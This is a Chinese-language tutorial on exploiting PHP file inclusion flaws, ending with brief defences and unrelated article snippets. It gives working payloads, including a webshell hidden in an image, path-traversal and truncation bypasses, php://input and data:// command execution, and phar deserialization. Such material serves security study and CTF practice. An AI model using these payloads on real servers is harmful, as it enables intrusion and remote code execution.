文件包含漏洞利用思路

简介

通过PHP函数引入文件时,传入的文件名没有经过合理的验证,从而操作了预想之外的文件,导致意外的文件泄漏甚至恶意代码注入。

常见的文件包含函数

php中常见的文件包含函数有以下四种:

  • include()
  • require()
  • include_once()
  • require_once()

include与require基本是相同的,除了错误处理方面:

  • include(),只生成警告(E_WARNING),并且脚本会继续
  • require(),会生成致命错误(E_COMPILE_ERROR)并停止脚本
  • include_once()与require_once(),如果文件已包含,则不会包含,其他特性如上

文件包含漏洞的总结

包含Apache日志文件

WEB服务器一般会将用户的访问记录保存在访问日志中。那么我们可以根据日志记录的内容,精心构造请求,把PHP代码插入到日志文件中,通过文件包含漏洞来执行日志中的PHP代码。

利用条件

  • 对日志文件可读
  • 知道日志文件存储目录

注意

  • 一般情况下日志存储目录会被修改,需要读取服务器配置文件(httpd.conf,nginx.conf......)或者根据phpinfo()中的信息来得知
  • 日志记录的信息都可以被调整,比如记录报错的等级,或者内容格式

Apache运行后一般默认会生成两个日志文件,Windos下是access.log(访问日志)和error.log(错误日志),Linux下是access_log和error_log,访问日志文件记录了客户端的每次请求和服务器响应的相关信息。
如果访问一个不存在的资源时,如http://www.xxxx.com/,则会记录在日志中,但是代码中的敏感字符会被浏览器转码,我们可以通过burpsuit绕过编码,就可以把 写入apache的日志文件,然后可以通过包含日志文件来执行此代码,但前提是你得知道apache日志文件的存储路径,所以为了安全起见,安装apache时尽量不要使用默认路径。

参考文章:1.包含日志文件getshell
     2.一道包含日志文件的CTF题

包含SESSION文件

可以先根据尝试包含到SESSION文件,在根据文件内容寻找可控变量,在构造payload插入到文件中,最后包含即可。

session常见存储路径:

  • /var/lib/php/sess_PHPSESSID
  • /var/lib/php/sess_PHPSESSID
  • /tmp/sess_PHPSESSID
  • /tmp/sessions/sess_PHPSESSID
  • session文件格式: sess_[phpsessid] ,而 phpsessid 在发送的请求的 cookie 字段中可以看到。

参考文章:一道SESSION包含的CTF题

包含/pros/self/environ

proc/self/environ中会保存user-agent头,如果在user-agent中插入php代码,则php代码会被写入到environ中,之后再包含它,即可。

利用条件:

  • php以cgi方式运行,这样environ才会保持UA头。
  • environ文件存储位置已知,且environ文件可读。

参考文章:proc / self / environ Injection

包含临时文件

image-20201004164108976

php中上传文件,会创建临时文件。在linux下使用/tmp目录,而在windows下使用c:\winsdows\temp目录。在临时文件被删除之前,利用竞争即可包含该临时文件。

由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux下使用的随机函数有缺陷,而window下只有65535中不同的文件名,所以这个方法是可行的。

另一种方法是配合phpinfo页面的php variables,可以直接获取到上传文件的存储路径和临时文件名,直接包含即可。这个方法可以参考[LFI With PHPInfo Assistance](https://www.insomniasec.com/downloads/publications/LFI With PHPInfo Assistance.pdf)

类似利用临时文件的存在,竞争时间去包含的,可以看看这道CTF题:XMAN夏令营-2017-babyweb-writeup

包含上传文件

很多网站通常会提供文件上传功能,比如:上传头像、文档等,这时就可以采取上传一句话图片木马的方式进行包含。

图片马的制作方式如下,在cmd控制台下输入:

 

进入1.jpg和2.php的文件目录后,执行: copy 1.jpg/b+2.php 3.jpg 将图片1.jpg和包含php代码的2.php文件合并生成图片马3.jpg

假设已经上传一句话图片木马到服务器,路径为/upload/201811.jpg
图片代码如下:

 

<?fputs(fopen("shell.php","w"),"<?php eval($_POST['pass']);?>")?>

然后访问URL:http://www.xxxx.com/index.php?page=./upload/201811.jpg,包含这张图片,将会在index.php所在的目录下生成shell.php

其他包含姿势

  • 包含SMTP(日志)
  • 包含xss

文件包含漏洞利用的绕过

指定前缀绕过

目录遍历

使用 ../../ 来返回上一目录,被称为目录遍历(Path Traversal)。例如 ?file=../../phpinfo/phpinfo.php
测试代码如下:

 

<?php error_reporting(0); $file = $_GET["file"]; //前缀 include "/var/www/html/".$file; highlight_file(__FILE__); ?>

现在在/var/log目录下有文件flag.txt,则利用…/可以进行目录遍历,比如我们尝试访问:

 

include.php?file=../../log/flag.txt

则服务器端实际拼接出来的路径为:/var/www/html/../../log/test.txt,即 /var/log/flag.txt,从而包含成功。

编码绕过

服务器端常常会对于../等做一些过滤,可以用一些编码来进行绕过。

利用url编码
  • ../
    • %2e%2e%2f
    • ..%2f
    • %2e%2e/
  • ..\
    • %2e%2e%5c
    • ..%5c
    • %2e%2e\
二次编码
  • ../
    • %252e%252e%252f
  • ..\
    • %252e%252e%255c
容器/服务器的编码方式
  • ../
    • ..%c0%af
      • 注:Why does Directory traversal attack %C0%AF work?
    • %c0%ae%c0%ae/
      • 注:java中会把”%c0%ae”解析为”\uC0AE”,最后转义为ASCCII字符的”.”(点)
        Apache Tomcat Directory Traversal
  • ..\
    • ..%c1%9c

指定后缀绕过

后缀绕过测试代码如下,下述各后缀绕过方法均使用此代码:

 

<?php error_reporting(0); $file = $_GET["file"]; //后缀 include $file.".txt"; highlight_file(__FILE__); ?>

利用url

在远程文件包含漏洞(RFI)中,可以利用query或fragment来绕过后缀限制。
可参考此文章:URI’s fragment

完整url格式:

 

protocol :// hostname[:port] / path / [;parameters][?query]#fragment

query(?)

  • [访问参数] ?file=http://localhost:8081/phpinfo.php?
  • [拼接后]  ?file=http://localhost:8081/phpinfo.php?.txt

Example:(设在根目录下有flag2.txt文件)

image-20201004225935491

image-20201004225947460

fragment(#)

  • [访问参数] ?file=http://localhost:8081/phpinfo.php%23
  • [拼接后]  ?file=http://localhost:8081/phpinfo.php#.txt

Example:(设在根目录下有flag2.txt文件)

利用协议

利用zip://和phar://,由于整个压缩包都是我们的可控参数,那么只需要知道他们的后缀,便可以自己构建。

zip://

  • [访问参数] ?file=zip://D:\zip.jpg%23phpinfo
  • [拼接后]  ?file=zip://D:\zip.jpg#phpinfo.txt

phar://

  • [访问参数] ?file=phar://zip.zip/phpinfo
  • [拼接后]  ?file=phar://zip.zip/phpinfo.txt

Example:
(我的环境根目录中有php.zip压缩包,内含phpinfo.txt,其中包含代码))
所以分别构造payload为:

 

?file=zip://D:\PHPWAMP_IN3\wwwroot\php.zip%23phpinfo

image-20201004230228836

?file=phar://../../php.zip/phpinfo

image-20201004230244870

长度截断

利用条件:

  • php版本 < php 5.2.8

原理:

  • Windows下目录最大长度为256字节,超出的部分会被丢弃
  • Linux下目录最大长度为4096字节,超出的部分会被丢弃。

利用方法:

  • 只需要不断的重复 ./(Windows系统下也可以直接用 . 截断)

     

    ?file=./././。。。省略。。。././shell.php

则指定的后缀.txt会在达到最大值后会被直接丢弃掉

%00截断

利用条件:

  • magic_quotes_gpc = Off
  • php版本 < php 5.3.4

利用方法:

  • 直接在文件名的最后加上%00来截断指定的后缀名

     

    ?file=shell.php%00

注:现在用到%00阶段的情况已经不多了

利用PHP伪协议

越权访问本地文件

file:// — 访问本地文件系统

文件系统是PHP使用的默认封装协议,展现了本地文件系统

 

<?php   $res = file_get_contents("file://E://wamp//www//test//solution.php");   var_dump($res); ?>

这里的要重点注意,file://这个伪协议可以展示"本地文件系统",当存在某个用户可控制、并得以访问执行的输入点时,我们可以尝试输入file://去试图获取本地磁盘文件

[WeChall] Crappyshare

CrappyShare

在这题CTF中,攻击的关键点在于:curl_exec($ch)

 

function upload_please_by_url($url) {   if (1 === preg_match('#^[a-z]{3,5}://#', $url)) # Is URL?   {     $ch = curl_init($url);     curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);     curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);     curl_setopt($ch, CURLOPT_FAILONERROR, true);     if (false === ($file_data = curl_exec($ch)))     {       htmlDisplayError('cURL failed.');     }     else     {       // Thanks       upload_please_thx($file_data);     }   }   else   {     htmlDisplayError('Your URL looks errorneous.');   } }

当我们输入的file://参数被带入curl中执行时,原本的远程URL访问会被重定向到本地磁盘上,从而达到越权访问文件的目的

php://filter -- 对本地磁盘文件进行读写

php://filter是一种元封装器,设计用于"数据流打开"时的"筛选过滤"应用。这对于一体式(all-in-one)的文件函数非常有用,类似readfile()、file()、file_get_contens(),在数据流内容读取之前没有机会应用其他过滤器

 

<?php   @include($_GET["file"]); ?> url: http://localhost/test/index.php?file=php://filter/read=convert.base64-encode/resource=index.php result: PD9waHAgc3lzdGVtKCdpcGNvbmZpZycpOz8+ (base64解密就可以看到内容,这里如果不进行base64_encode,则被include进来的代码就会被执行,导致看不到源代码)

向磁盘写入文件

 

<?php   /* 这会通过 rot13 过滤器筛选出字符 "Hello World"   然后写入当前目录下的 example.txt */   file_put_contents("php://filter/write=string.rot13/resource=example.txt","Hello World"); ?> 这个参数采用一个或以管道符 | 分隔的多个过滤器名称

代码任意执行

php:// — 访问各个输入/输出流(I/O streams)

PHP: php:// - Manual
PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。
1.1) php://input
php://input 是个可以访问请求的原始数据的只读流(这个原始数据指的是POST数据)

 

<?php     $res = file_get_contents("php://input");     var_dump($res); ?> post提交数据:hello result: hello

image-20201005202733696

伪协议php://input需要服务器支持,同时要求"allow_url_include"设置为"On"

利用伪协议的这种性质,我们可以将LFI衍生为一个code excute漏洞
访问的文章审核中... - FreeBuf网络安全行业门户

 

<?php   @eval(file_get_contents('php://input')) ?> http://localhost/test/index.php post: system("dir"); result: list directory

这本质上远程文件包含的利用,我们知道,远程文件包含中的include接收的是一个"资源定位符",在大多数情况下这是一个磁盘文件路径,但是从流的角度来看,这也可以是一个流资源定位符,即我们将include待包含的资源又重定向到了输入流中,从而可以输入我们的任意code到include中

 

<?php   @include($_GET["file"]); ?> http://localhost/test/index.php?file=php://input post: <?php system('ipconfig');?> result: ip information

(有一点要注意)

在利用文件包含进行代码执行的时候,我们通过file_get_contents获取到的文件内容,如果是一个.php文件,会被当作include的输入参数,也就意味着会被再执行一次,则我们无法看到原始代码了,解决这个问题的方法就是使用base64_encode进行编码

php://伪协议框架中还有其他的流,但是和源代码执行似乎没有关系,这里也列出来大家一起学习吧
php://output是一个只写的数据流,允许我们以print和echo一样的方式写入到输出缓冲区

 

<?php   $data = "hello LittleHann";   $res = file_put_contents("php://output", $data); ?> result: hello LittleHann

php://memory和php://temp是一个类似"文件包装器"的数据流,允许读写"临时数据"。两者唯一的区别是:

  1. php://memory 总是把数据存储在内存中
  2. php://temp会在内存量达到预定义的限制后(默认是2M)存入临时文件中

临时文件位置的决定和sys_get_temp_dir()的方式一致(upload_tmp_dir = "E:/wamp/tmp")

 

<?php   $fp = fopen("php://memory", 'r+');   fputs($fp, "hello LittleHann!!!\n");   rewind($fp);   while(!feof($fp))   {     echo fread($fp, 1024);   }   fclose($fp); ?> result: hello LittleHann!!!

data://伪协议

PHP: data:// - Manual
这是一种数据流封装器,data:URI schema(URL schema可以是很多形式)

利用data://伪协议进行代码执行的思路原理和php://是类似的,都是利用了PHP中的流的概念,将原本的include的文件流重定向到了用户可控制的输入流中

data:text/plain,...

 

<?php   @include($_GET["file"]); ?> url: http://localhost/test/wrapper.php?file=data:text/plain,<?php system("net user")?> result: user information

data://text/base64,...

 

<?php   @include($_GET["file"]); ?> url: http://localhost/test/wrapper.php?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCJuZXQgdXNlciIpPz4= result: user information

data://image/jpeg;base64,...

 

<?php   $jpegimage = imagecreatefromjpeg("data://image/jpeg;base64," . base64_encode($sql_result_array['imagedata'])); ?> 图片木马

目录遍历

glob://伪协议

glob:// 查找匹配的文件路径模式

 

<?php   // 循环 ext/spl/examples/ 目录里所有 *.php 文件   // 并打印文件名和文件尺寸   $it = new DirectoryIterator("glob://E:\\wamp\\www\\test\\*.php");   foreach($it as $f)   {     printf("%s: %.1FK\n", $f->getFilename(), $f->getSize()/1024);   } ?>

利用流包装器(stream wrapper)

zip或phar协议包含文件

假设目标应用中有如下代码:

 

<?php $file = $_GET['file']; if(isset($file) && strtolower(substr($file, -4)) == ".jpg"){ include($file); } ?> <?php $file = $_GET['file']; include($file.'.jpg'); ?>

上面的代码包含了一个文件包含的功能,但是它验证了后缀是否为jpg,然后才包含。

对于现在这种情况,要包含php文件,实现lfi的话,可以通过截断。但是\x00的截断在php>5.3.4就没用了,而且还要考虑GPC。那有没有其他的方法呢?答案是有的。

其实我们可以通过zip协议和phar协议来包含文件。

zip://

首先我们新建一个zip文件,里面压缩着一个php脚本。

image-20201005205442291

http://127.0.0.1/file.php?file=zip://php.zip%23php.jpg

image-20201005205555183

phar://

首先我们要用phar类打包一个phar标准包

 

<?php $p = new PharData(dirname(__FILE__).'/phartest2.zip', 0,'phartest2',Phar::ZIP) ; $x=file_get_contents('./php.php'); $p->addFromString('a.jpg', $x); ?>

会生成一个zip的压缩文件。然后我们构造

http://127.0.0.1/file.php?file=phar://phartest2.zip/a.jpg

也可以直接shell。

这种攻击方式对webshel检测来说是一个十分困难的问题,其本质在于实际webshell的利用形态和webshell文本之间,存在 N:1 的多模态关系。

通俗的说就是,对于一个简单的文件包含代码来说:

 

<?php $file = $_GET['file']; include($file.'.jpg'); ?>

根据其传入参数的不同(上下文的不同),可以有 N 种不同的利用形态,这就导致旁路检测无法对所有可能的路径进行模拟。

Relevant Link:https://bl4ck.in/tricks/2015/06/10/zip或phar协议包含文件.html

phar协议对象注入

Phar(PHP Archive)文件可以包含序列化格式的元数据,这个机制允许我们内建一些回调函数在Phar class中,在处理文件的时候同时,实现一些代码逻辑。

让我们创建一个Phar文件,并添加一个包含一些数据作为元数据的对象:

 

<?php // create new Phar $phar = new Phar('test.phar'); $phar->startBuffering(); $phar->addFromString('test.txt', 'text'); $phar->setStub(''); // add object of any class as meta data class AnyClass {} $object = new AnyClass; $object->data = 'rips'; $phar->setMetadata($object); $phar->stopBuffering(); ?>

我们新建的test.phar文件有以下内容。我们可以看到对象被存储为一个序列化的字符串。

image-20201005210653339

如果现在通过phar://对我们现有的Phar文件执行文件操作,则其序列化元数据将被反序列化。这意味着我们在元数据中注入的对象被加载到应用程序的范围中。

如果此应用程序具有已命名的AnyClass类并且具有魔术方法destruct()或wakeup()定义,则会自动调用这些方法。这意味着我们可以在代码库中触发任何析构函数或wakeup方法。

 

class AnyClass { function __destruct() { echo $this->data; } } // output: rips include('phar://test.phar');

值得注意的是, 不仅限于include,任何文件相关的api都可以触发phar协议,例如fopen()、unlink()、stat()、fstat()、fseek()、rename()、opendir()、rmdir()、mkdir()、file_get_contents,例如:

 

<?php file_exists($_GET['file']); md5_file($_GET['file']); filemtime($_GET['file']); filesize($_GET['file']); glob('phar://some.phar/*'); new DirectoryIterator('glob://phar://some.phar/*'); ?>

对于旁路检测来说,相比于RASP,因为其无法拿到实际入侵中的攻击流量,导致其搜索空间会十分巨大。

Relevant Link

  1. PHP: Using Phar Archives: the phar stream wrapper - Manual
  2. PHP phar:协议对象注入技术介绍 - FreeBuf网络安全行业门户

文件包含漏洞防御

  • allow_url_include和allow_url_fopen最小权限化
  • 设置open_basedir(open_basedir 将php所能打开的文件限制在指定的目录树中)
  • 白名单限制包含文件,或者严格过滤 . / \
  • 尽量不要使用动态包含,可以在需要包含的页面固定写好,如:include('head.php')。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/7019.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

苍穹外卖day05——Redis(被病毒入侵)+店铺营业状态设置

Redis被病毒入侵了 数据删光光然后只剩这四个玩意&#xff0c;乱下东西乱删东西&#xff0c;还好是docker部署&#xff0c;不然就寄了。 在服务器上部署redis记得一定要设置密码&#xff0c;不然被人扫肉鸡注入病毒整个服务器给你崩掉。 使用配置类的方式搭建相关程序 配置数…

实现简单Spring基于XML的配置程序

定义一个容器&#xff0c;使用ConcurrentHashMap 做为单例对象的容器 先解析beans.xml得到第一个bean对象的信息&#xff0c;id&#xff0c;class&#xff0c;属性和属性值使用反射生成对象&#xff0c;并赋值将创建好的bean对象放入到singletonObjects集合中提供getBean(id)方…

【Redis】剖析RDB和AOF持久化原理

文章目录 前言1、AOF日志1.1、概述1.2、日志文件1.3、写回策略1.4、策略实现原理1.5、重写机制1.6、AOF 后台重写1.6.1、介绍1.6.2、实现原理 1.7、优缺点 2、RDB快照2.1、概述2.2、实现方式2.3、实现原理2.4、极端情况2.5、优缺点 3、混合体实现4、大Key问题4.1、何为大key4.2…

profinet 调试记录

一、 树莓派运行codesys runtime 1. 用户名称要以 root 登录 若是普通用户&#xff0c;会提示&#xff1a;脚本必须以 root 身份运行 2. codesys报错&#xff1a; 在树莓派config.txt文件添加&#xff1a;arm_64bit0 3. 扫描设备需开启PLC 图标变红&#xff0c;则开启成…

【MATLAB第58期】基于MATLAB的PCA-Kmeans、PCA-LVQ与BP神经网络分类预测模型对比

【MATLAB第58期】基于MATLAB的PCA-Kmeans、PCA-LVQ与BP神经网络分类预测模型对比 一、数据介绍 基于UCI葡萄酒数据集进行葡萄酒分类及产地预测 共包含178组样本数据&#xff0c;来源于三个葡萄酒产地&#xff0c;每组数据包含产地标签及13种化学元素含量&#xff0c;即已知类…

STM32H5开发(1)----总览

STM32H5开发----1.总览 概述样品申请STM32H5-2MB 框图产品列表STM32H5-2MB 框图STM32H5-128KB框图功能对比STM32H5-128KB vs H5-2MB组员对比STM32H5 亮点 概述 STM32H5系列微控制器是意法半导体公司推出的一款高性能MCU, CortexM33内核的微控制器产品。 他和STM32F2、F4、F7、…

论文精度系列之详解图神经网络

论文地址:A Gentle Introduction to Graph Neural Networks 翻译:图表就在我们身边;现实世界的对象通常根据它们与其他事物的连接来定义。一组对象以及它们之间的连接自然地表示为图形。十多年来&#xff0c;研究人员已经开发了对图数据进行操作的神经网络&#xff08;称为图神…

CentOS 7.9 安装 mydumper(RPM方式)

链接&#xff1a;https://pan.baidu.com/s/1sGhtiKPOmJw1xj0zv-djkA?pwdtaoz 码&#xff1a;taoz 开始正文啦&#xff1a; rpm -ivh mydumper-0.14.5-3-zstd.el7.x86_64.rpm 问题如下&#xff1a; 解决&#xff1a; yum -y install epel-release yum install -y libzstd …

zabbix安装Grafana

一、web访问 https://s3-us-west-2.amazonaws.com/grafana-releases/release/grafana-4.6.1-1.x86_64.rpm [rootserver ~] yum localinstall -y grafana-4.6.1-1.x86_64.rpm //yum方式安装本地rpm并自动解决依赖关系 [rootserver ~] grafana-cli plugins install alexanderzob…

利用 trait 实现多态

我在书上看到基于 std::io::Write 的示例&#xff0c;它是一个 trait 类型&#xff0c;内部声明了一些方法。和 go 语言不同&#xff0c;rust 中类型必须明确实现 trait 类型&#xff0c;而 go 语言属于 duck 模式。 std::io::Write下面的例子中调用 write_all 方式来演示&…

国标GB28181视频监控平台EasyGBS无法播放,抓包返回ICMP的排查过程

国标GB28181视频平台EasyGBS是基于国标GB/T28181协议的行业内安防视频流媒体能力平台&#xff0c;可实现的视频功能包括&#xff1a;实时监控直播、录像、检索与回看、语音对讲、云存储、告警、平台级联等功能。国标GB28181视频监控平台部署简单、可拓展性强&#xff0c;支持将…

1 请使用js、css、html技术实现以下页面,表格内容根据查询条件动态变化。

1.1 创建css文件&#xff0c;用于编辑style 注意&#xff1a; 1.背景颜色用ppt的取色器来获取&#xff1a; 先点击ppt的形状轮廓&#xff0c;然后点击取色器&#xff0c;吸颜色&#xff0c;然后再点击形状轮廓的其他轮廓颜色&#xff0c;即可获取到对应颜色。 2.表格间的灰色线…

【Spring Boot】Web开发 — 数据验证

Web开发 — 数据验证 对于应用系统而言&#xff0c;任何客户端传入的数据都不是绝对安全有效的&#xff0c;这就要求我们在服务端接收到数据时也对数据的有效性进行验证&#xff0c;以确保传入的数据安全正确。接下来介绍Spring Boot是如何实现数据验证的。 1.Hibernate Vali…

生态合作丨MemFireDB通过麒麟软件NeoCertify认证

近日&#xff0c;敏博科技“MemFireDB分布式关系数据库系统V2.8”与麒麟软件“银河麒麟高级服务器操作系统V10” 完成兼容性测试&#xff0c;获得麒麟软件 NeoCertify 认证证书。测试结果显示&#xff0c;MemFireDB数据库在国产操作系统上运行稳定&#xff0c;产品已经达到通用…

android studio(火烈鸟版本)使用protobuf

一、简介 Protobuf 全称&#xff1a;Protocol Buffers&#xff0c;是 Google 推出的一种与平台无关、语言无关、可扩展的轻便高效的序列化数据存储格式&#xff0c;类似于我们常用的 xml 和 json。 二、特点 Protobuf 用两个字总结&#xff1a;小&#xff0c;快。用 Protobu…

十大排序算法详解

目录 1. 冒泡排序 a. 思路 b. code 2. 插入排序 a. 思路 b. code 3. 希尔排序【插入排序plus】 a. 思路 b. code 4. 选择排序 a. 思路 b. code 5. 基数排序 a. 前置知识 b. 思路 c. code 6. 计数排序 a. 思路 b. code 7. 桶排序&#xff08;计数排序plus &…

Could not resolve placeholder

本质原因&#xff1a;项目启动未扫描到该配置&#xff0c;一般来说是配置不对 检查方向 1、检查编译后的target包里是否有该配置所在的文件 如果不在就clear&#xff0c;重新编译启动再去检查 2、检查启动的环境是否匹配 编译后的target包下的配置文件名称是否跟启动类的环境…

【如何训练一个中译英翻译器】LSTM机器翻译模型部署之ncnn(python)(四)

ncnn&#xff1a;https://github.com/Tencent/ncnn 1、.h5模型保存为TFSaveModel格式 import tensorflow as tf from keras.models import load_model# 加载Keras模型 model load_model(encoder_model.h5)# 转换为SavedModel类型 tf.saved_model.save(model, TFSaveModel)2、…

redis的常用命令和数据结构

目录 redis的基本特征 Redis操作命令行 redis的数据结构 Redis的基本特征 键值型&#xff0c;value支持多种不同的数据结构&#xff0c;功能丰富 单线程&#xff0c;每个命令具备原子性 低延迟&#xff0c;速快&#xff08;基于内存&#xff0c;IO多路复用&#xff0c;良好…

【OpenCV】windows环境下,java OpenCV环境搭建,java 也可以实现opencv的功能了!opencv自由了

目录 1. 下载opencv 2. 安装opencv 目录 1. 下载opencv 2. 安装opencv 3. dll文件的导入配置 dll文件的导入&#xff1a; &#xff08;C的类库文件&#xff09;&#xff0c;opencv是c开发的类库&#xff0c;java语言要调用其中的方法&#xff0c;所以依赖了dll文件 3.1…